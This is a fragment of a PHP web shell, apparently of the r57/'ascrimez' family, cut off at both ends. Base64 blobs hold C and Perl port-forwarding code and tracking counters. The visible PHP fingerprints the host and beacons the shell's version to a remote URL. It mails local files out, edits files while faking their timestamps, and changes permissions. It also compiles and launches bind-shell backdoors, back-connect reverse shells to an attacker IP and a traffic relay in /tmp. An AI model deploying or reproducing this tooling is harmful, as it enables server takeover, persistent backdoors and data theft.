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";+$datapipe_pl="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";+$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2+JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l+lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW+FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L+3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr+J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR+oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj+xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO+i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv+dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB+ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2+hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg==";+$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh+IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl+hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz+tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa+XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u+8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV+ybmV0LS0+";+if($unix)+ {+ if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }+ if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }+ if($safe_mode) { $sysctl = '-'; }+ else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }+ else+ {+ $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');+ if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }+ if(empty($sysctl)) { $sysctl = '-'; }+ setcookie('sysctl',$sysctl);+ }+ }+echo $head;+echo '</head>';+if(empty($_POST['cmd'])) {+$serv = array(127,192,172,10);+$addr=@explode('.', $_SERVER['SERVER_ADDR']);+$current_version = str_replace('.','',$version);+if (!in_array($addr[0], $serv)) {+@print "<img src=\"sdfsdfsdf/sdfsdfsdf/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>";+@readfile ("sdfsdfsdqf/sdfsdfsdfds/version.php?version=".$current_version."");}}+echo '<body bgcolor="#e4e0d8" TEXT="#ff6600" ><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000 width=160><font face=Verdana size=2>'.ws(2).'<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'ascrimez '.$version.'</b></font></td><td bgcolor=#660000><font face=Verdana size=-2>';+echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>";+echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;+echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;+if($unix)+ {+ echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;+ echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;+ echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb;+ }+echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;+echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";+echo ws(2)."safe_mode: <b>";+echo (($safe_mode)?("<font color=green>ON_secure</font>"):("<font color=red>OFF_not_secure</font>"));+echo "</b>".ws(2);+echo "PHP version: <b>".@phpversion()."</b>";+$curl_on = @function_exists('curl_version');+echo ws(2);+echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));+echo "</b>".ws(2);+echo "MySQL: <b>";+$mysql_on = @function_exists('mysql_connect');+if($mysql_on){+echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; }+echo "</b>".ws(2);+echo "MSSQL: <b>";+$mssql_on = @function_exists('mssql_connect');+if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}+echo "</b>".ws(2);+echo "PostgreSQL: <b>";+$pg_on = @function_exists('pg_connect');+if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}+echo "</b>".ws(2);+echo "Oracle: <b>";+$ora_on = @function_exists('ocilogon');+if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}+echo "</b><br>".ws(2);+echo "Disable functions : <b>";+if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}+$free = @diskfreespace($dir);+if (!$free) {$free = 0;}+$all = @disk_total_space($dir);+if (!$all) {$all = 0;}+echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";+echo '</font></td></tr><table>+<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>+<tr><td align=right width=100>';+echo $font;+if($unix){+echo '<font color=yellow><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';+echo "</td><td>";+echo "<font face=Verdana size=-2 color=red><b>";+echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));+echo ws(3).$sysctl."<br>";+echo ws(3).ex('echo $OSTYPE')."<br>";+echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";+if(!empty($id)) { echo ws(3).$id."<br>"; }+else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))+ {+ $euserinfo = @posix_getpwuid(@posix_geteuid());+ $egroupinfo = @posix_getgrgid(@posix_getegid());+ echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';+ }+else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";+echo ws(3).$dir;+echo ws(3).'( '.perms(@fileperms($dir)).' )';+echo "</b></font>";+}+else+{+echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';+echo "</td><td>";+echo "<font face=Verdana size=-2 color=red><b>";+echo ws(3).@substr(@php_uname(),0,120)."<br>";+echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";+echo ws(3).@getenv("USERNAME")."<br>";+echo ws(3).$dir;+echo "<br></font>";+}+echo "</font>";+echo "</td></tr></table>";+if(empty($c1)||empty($c2)) { die(); }+$f = '<br>';+$f .= base64_decode($c1);+$f .= base64_decode($c2);+if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")+ {+ $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");+ err(6+$res);+ $_POST['cmd']="";+ }+if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))+ {+ if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }+ else+ {+ $filename = @basename($_POST['loc_file']);+ $filedump = @fread($file,@filesize($_POST['loc_file']));+ fclose($file);+ $content_encoding=$mime_type='';+ compress($filename,$filedump,$_POST['compress']);+ $attach = array(+ "name"=>$filename,+ "type"=>$mime_type,+ "content"=>$filedump+ );+ if(empty($_POST['subj'])) { $_POST['subj'] = 'file from ghhghh'; }+ if(empty($_POST['from'])) { $_POST['from'] = '[email protected]'; }+ $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);+ err(6+$res);+ $_POST['cmd']="";+ }+ }+++if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")+{+$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';+}+if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")+ {+ switch($_POST['what'])+ {+ case 'own':+ @chown($_POST['param1'],$_POST['param2']);+ break;+ case 'grp':+ @chgrp($_POST['param1'],$_POST['param2']);+ break;+ case 'mod':+ @chmod($_POST['param1'],intval($_POST['param2'], 8));+ break;+ }+ $_POST['cmd']="";+ }+if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")+ {+ switch($_POST['what'])+ {+ case 'file':+ if($_POST['action'] == "create")+ {+ if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }+ else {+ fclose($file);+ $_POST['e_name'] = $_POST['mk_name'];+ $_POST['cmd']="edit_file";+ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";+ }+ }+ else if($_POST['action'] == "delete")+ {+ if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";+ $_POST['cmd']="";+ }+ break;+ case 'dir':+ if($_POST['action'] == "create"){+ if(mkdir($_POST['mk_name']))+ {+ $_POST['cmd']="";+ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";+ }+ else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }+ }+ else if($_POST['action'] == "delete"){+ if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";+ $_POST['cmd']="";+ }+ break;+ }+ }+if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))+ {+ if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }+ if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }+ else {+ echo $table_up3;+ echo $font;+ echo "<form name=save_file method=post>";+ echo ws(3)."<b>".$_POST['e_name']."</b>";+ echo "<div align=center><textarea name=e_text cols=121 rows=24>";+ echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));+ fclose($file);+ echo "</textarea>";+ echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";+ echo "<input type=hidden name=dir value=".$dir.">";+ echo "<input type=hidden name=cmd value=save_file>";+ echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));+ echo "</div>";+ echo "</font>";+ echo "</form>";+ echo "</td></tr></table>";+ exit();+ }+ }+if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")+ {+ $mtime = @filemtime($_POST['e_name']);+ if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }+ else {+ if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);+ @fwrite($file,$_POST['e_text']);+ @touch($_POST['e_name'],$mtime,$mtime);+ $_POST['cmd']="";+ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";+ }+ }+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))+{+ cf("/tmp/bd.c",$port_bind_bd_c);+ $blah = ex("gcc -o /tmp/bd /tmp/bd.c");+ @unlink("/tmp/bd.c");+ $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");+ $_POST['cmd']="ps -aux | grep bd";+}+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))+{+ cf("/tmp/bdpl",$port_bind_bd_pl);+ $p2=which("perl");+ $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");+ $_POST['cmd']="ps -aux | grep bdpl";+}+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))+{+ cf("/tmp/back",$back_connect);+ $p2=which("perl");+ $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";+}+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))+{+ cf("/tmp/back.c",$back_connect_c);+ $blah = ex("gcc -o /tmp/backc /tmp/back.c");+ @unlink("/tmp/back.c");+ $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";+}+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))+{+ cf("/tmp/dp",$datapipe_pl);+ $p2=which("perl");+ $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");+ $_POST['cmd']="ps -aux | 